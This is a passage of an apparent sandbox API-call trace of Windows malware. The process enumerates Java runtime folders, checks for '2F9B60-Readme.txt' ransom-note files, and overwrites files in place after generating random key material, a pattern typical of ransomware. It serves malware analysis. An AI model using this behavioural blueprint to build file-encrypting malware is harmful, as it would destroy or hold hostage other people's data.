Size=0xb8) returned 0x4312b0e0 [0242.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b0e0) returned 1 [0242.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bd9f0) returned 1 [0242.580] NtQueryInformationFile (in: FileHandle=0xe94, IoStatusBlock=0x367dfc38, FileInformation=0x367dfc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x367dfc38, FileInformation=0x367dfc48) returned 0x0 [0242.580] NtSetInformationFile (FileHandle=0xe94, IoStatusBlock=0x367dfc38, FileInformation=0x367dfc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0242.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43144bf0) returned 1 [0242.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115980) returned 1 [0242.966] FlushFileBuffers (hFile=0xe94) returned 1 [0242.971] CloseHandle (hObject=0xe94) returned 1 [0243.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x431a2ba0 [0243.314] wcscpy (in: _Dest=0x431a2ba0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" [0243.314] wcscat (in: _Dest=0x431a2ba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\2F9B60-Readme.txt" [0243.314] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\2f9b60-readme.txt")) returned 0x20 [0243.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2ba0) returned 1 [0243.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505690) returned 1 [0243.316] FindNextFileW (in: hFindFile=0x1ced6460, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0243.316] wcscmp (_String1="LucidaBrightItalic.ttf", _String2=".") returned 1 [0243.316] wcscmp (_String1="LucidaBrightItalic.ttf", _String2="..") returned 1 [0243.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a2ba0 [0243.316] wcscpy (in: _Dest=0x431a2ba0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" [0243.316] wcscat (in: _Dest=0x431a2ba0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" [0243.316] wcscat (in: _Dest=0x431a2ba0, _Source="LucidaBrightItalic.ttf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf" [0243.316] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0243.318] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf", dwFileAttributes=0x20) returned 1 [0243.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x94c [0243.320] GetFileSizeEx (in: hFile=0x94c, lpFileSize=0x367dfbe0 | out: lpFileSize=0x367dfbe0*=80856) returned 1 [0243.321] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x13bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.321] ReadFile (in: hFile=0x94c, lpBuffer=0x367dfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x367dfba8, lpOverlapped=0x0 | out: lpBuffer=0x367dfb60*, lpNumberOfBytesRead=0x367dfba8*=0x4, lpOverlapped=0x0) returned 1 [0243.324] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b890 [0243.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7b0 [0243.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0243.326] NtQuerySystemTime (in: CurrentTime=0x367dfaa0 | out: CurrentTime=0x367dfaa0*=132462178471270000) returned 0x0 [0243.326] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x4ae1e4a [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x17ca2b5a [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x17c96995 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x15775683 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x200702a3 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x75615b55 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x60427e76 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x24436ab8 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x634f1126 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x566e3b71 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1ec0fcaf [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x7b134b46 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x2e984f5a [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x305d43c5 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0xe012b1f [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x7dcf55de [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x2b704160 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1d7a8af2 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x7793367a [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x12a32bcc [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x76500cbf [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x7816f9ce [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1a11358d [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0xdf333f [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x7e5cbf60 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x6d623abb [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x335f29b3 [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x3f5968ee [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1a35b07c [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x30dc8d3e [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x397a975b [0243.327] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x283c22da [0243.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae40 [0243.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0243.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0243.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0243.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0243.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b890) returned 1 [0243.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4249b5c0 [0243.358] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.358] ReadFile (in: hFile=0x94c, lpBuffer=0x4249b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x367dfb00, lpOverlapped=0x0 | out: lpBuffer=0x4249b5c0*, lpNumberOfBytesRead=0x367dfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0243.363] SetFilePointerEx (in: hFile=0x94c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62230 [0243.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0243.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b890 [0243.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b890) returned 1 [0243.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42490190 [0243.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b890 [0243.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0243.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0243.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0243.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62230) returned 1 [0243.367] WriteFile (hFile=0x94c, lpBuffer=0x42490190, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x367dfb00, lpOverlapped=0x0) Thread: id = 2078 os_tid = 0x1394 [0138.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1ced64c0 [0138.382] wcscpy (in: _Dest=0x1ced64c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" [0138.382] wcscat (in: _Dest=0x1ced64c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\" [0138.382] wcscat (in: _Dest=0x1ced64c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*" [0138.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c0b0 [0138.382] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d670 [0140.287] wcscmp (_String1=".", _String2=".") returned 0 [0140.287] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.287] wcscmp (_String1="..", _String2=".") returned 1 [0140.287] wcscmp (_String1="..", _String2="..") returned 0 [0140.287] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0140.287] wcscmp (_String1="jvm.cfg", _String2=".") returned 1 [0140.287] wcscmp (_String1="jvm.cfg", _String2="..") returned 1 [0140.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e950 [0140.288] wcscpy (in: _Dest=0x1b86e950, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" [0140.288] wcscat (in: _Dest=0x1b86e950, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\" [0140.288] wcscat (in: _Dest=0x1b86e950, _Source="jvm.cfg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" [0152.060] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg")) returned 0x20 [0152.111] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg", dwFileAttributes=0x20) returned 1 [0152.112] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25ec [0152.112] GetFileSizeEx (in: hFile=0x25ec, lpFileSize=0x3692f820 | out: lpFileSize=0x3692f820*=686) returned 1 [0152.112] SetFilePointerEx (in: hFile=0x25ec, liDistanceToMove=0x2aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.112] ReadFile (in: hFile=0x25ec, lpBuffer=0x3692f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3692f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3692f7a0*, lpNumberOfBytesRead=0x3692f7e8*=0x4, lpOverlapped=0x0) returned 1 [0152.113] SetFilePointerEx (in: hFile=0x25ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500920 [0152.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205009b0 [0152.114] NtQuerySystemTime (in: CurrentTime=0x3692f6e0 | out: CurrentTime=0x3692f6e0*=132462177573178000) returned 0x0 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x78df00a3 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x67b92130 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x40373a05 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x6e110a06 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x44ac2cfe [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x53fad514 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x59b507a1 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x607943b0 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x70661dbd [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x739583c5 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x7448884 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x4a1e6518 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x18d1e86a [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x465c24e5 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x1ab3d3f1 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x4fd4bdde [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x59fbd022 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x92e2588 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x5605ea71 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0xc9eb682 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0xbd00645 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x21f946a7 [0152.114] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x2b24abe8 [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x4d05251b [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x70ec403b [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x217d473b [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x17b94f3b [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0xbd34bc5 [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x3a37e766 [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x7a3cd379 [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x7b061e14 [0152.115] RtlRandomEx (in: Seed=0x3692f6d0 | out: Seed=0x3692f6d0) returned 0x7f703bad [0152.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205009e0 [0152.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0152.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a10 [0152.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0152.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009b0) returned 1 [0152.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500830) returned 1 [0152.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b00 [0152.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0152.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500830 [0152.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500830) returned 1 [0152.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425c1150 [0152.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425c4d60 [0152.124] ReadFile (in: hFile=0x25ec, lpBuffer=0x425c1150, nNumberOfBytesToRead=0x2ae, lpNumberOfBytesRead=0x3692f6d0, lpOverlapped=0x0 | out: lpBuffer=0x425c1150*, lpNumberOfBytesRead=0x3692f6d0*=0x2ae, lpOverlapped=0x0) returned 1 [0152.124] SetFilePointerEx (in: hFile=0x25ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.124] WriteFile (in: hFile=0x25ec, lpBuffer=0x425c4d60*, nNumberOfBytesToWrite=0x2ae, lpNumberOfBytesWritten=0x3692f6d4, lpOverlapped=0x0 | out: lpBuffer=0x425c4d60*, lpNumberOfBytesWritten=0x3692f6d4*=0x2ae, lpOverlapped=0x0) returned 1 [0162.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19aa0 [0162.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ad0 [0162.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ad0) returned 1 [0162.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425c4d60) returned 1 [0162.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425c1150) returned 1 [0162.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0162.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b00) returned 1 [0162.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c19ad0 [0162.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b00 [0162.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0162.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b00 [0162.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b00) returned 1 [0162.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c19b00 [0162.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b30 [0162.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19b60 [0162.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19b60) returned 1 [0162.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0162.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b00) returned 1 [0162.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x42c176e0 [0162.989] SetFilePointerEx (in: hFile=0x25ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.990] WriteFile (in: hFile=0x25ec, lpBuffer=0x42c176e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3692f7f0, lpOverlapped=0x0 | out: lpBuffer=0x42c176e0*, lpNumberOfBytesWritten=0x3692f7f0*=0x100, lpOverlapped=0x0) returned 1 [0164.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500980 [0164.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500980) returned 1 [0164.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d180 [0164.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500980 [0164.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500950 [0164.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500950) returned 1 [0164.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x20500950 [0164.905] sprintf (in: _Dest=0x20500950, _Format="%c%c" | out: _Dest="75") returned 2 [0164.905] sprintf (in: _Dest=0x20500952, _Format="%c%c" | out: _Dest="a1") returned 2 [0164.905] sprintf (in: _Dest=0x20500954, _Format="%c%c" | out: _Dest="23") returned 2 [0164.905] sprintf (in: _Dest=0x20500956, _Format="%c%c" | out: _Dest="ab") returned 2 [0164.905] sprintf (in: _Dest=0x20500958, _Format="%c%c" | out: _Dest="53") returned 2 [0164.905] sprintf (in: _Dest=0x2050095a, _Format="%c%c" | out: _Dest="ba") returned 2 [0164.905] sprintf (in: _Dest=0x2050095c, _Format="%c%c" | out: _Dest="49") returned 2 [0164.905] sprintf (in: _Dest=0x2050095e, _Format="%c%c" | out: _Dest="6d") returned 2 [0164.905] sprintf (in: _Dest=0x20500960, _Format="%c%c" | out: _Dest="14") returned 2 [0164.905] sprintf (in: _Dest=0x20500962, _Format="%c%c" | out: _Dest="16") returned 2 [0164.906] sprintf (in: _Dest=0x20500964, _Format="%c%c" | out: _Dest="bb") returned 2 [0164.906] sprintf (in: _Dest=0x20500966, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.906] sprintf (in: _Dest=0x20500968, _Format="%c%c" | out: _Dest="48") returned 2 [0164.906] sprintf (in: _Dest=0x2050096a, _Format="%c%c" | out: _Dest="1f") returned 2 [0164.906] RtlInitAnsiString (in: DestinationString=0x3692f868, SourceString="75a123ab53ba496d1416bb1b481f" | out: DestinationString="75a123ab53ba496d1416bb1b481f") [0164.906] RtlAnsiStringToUnicodeString (in: DestinationString=0x3692f838, SourceString="75a123ab53ba496d1416bb1b481f", AllocateDestinationString=1 | out: DestinationString="75a123ab53ba496d1416bb1b481f") returned 0x0 [0164.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 